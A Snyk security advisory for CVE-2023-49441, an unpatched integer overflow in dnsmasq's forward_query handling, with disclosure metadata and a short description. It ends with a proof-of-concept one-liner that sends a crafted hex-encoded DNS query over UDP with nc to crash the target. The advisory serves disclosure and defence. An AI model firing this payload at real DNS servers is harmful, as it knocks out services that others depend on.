Integer Overflow Affecting dnsmasq package, versions [0,]
Threat Intelligence
Exploit Maturity
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
Proof of concept
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Test your applications- Snyk IDSNYK-UNMANAGED-DNSMASQ-7231117
- published10 Jun 2024
- disclosed6 Jun 2024
- creditFeifan Wu
Introduced: 6 Jun 2024
CVE-2023-49441 (opens in a new tab)Common Vulnerabilities and Exposures (CVE) are common identifiers for publicly known security vulnerabilities
Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
There is no fixed version for dnsmasq.
Overview
Affected versions of this package are vulnerable to Integer Overflow via the forward_query process. An attacker can manipulate memory allocation and potentially cause a program crash or incorrect data processing by sending specially crafted queries.
PoC
echo -n 'c97b01000001000000000000047465737403636f6d0000020001' | xxd
-r -p | nc -u target_addr target_port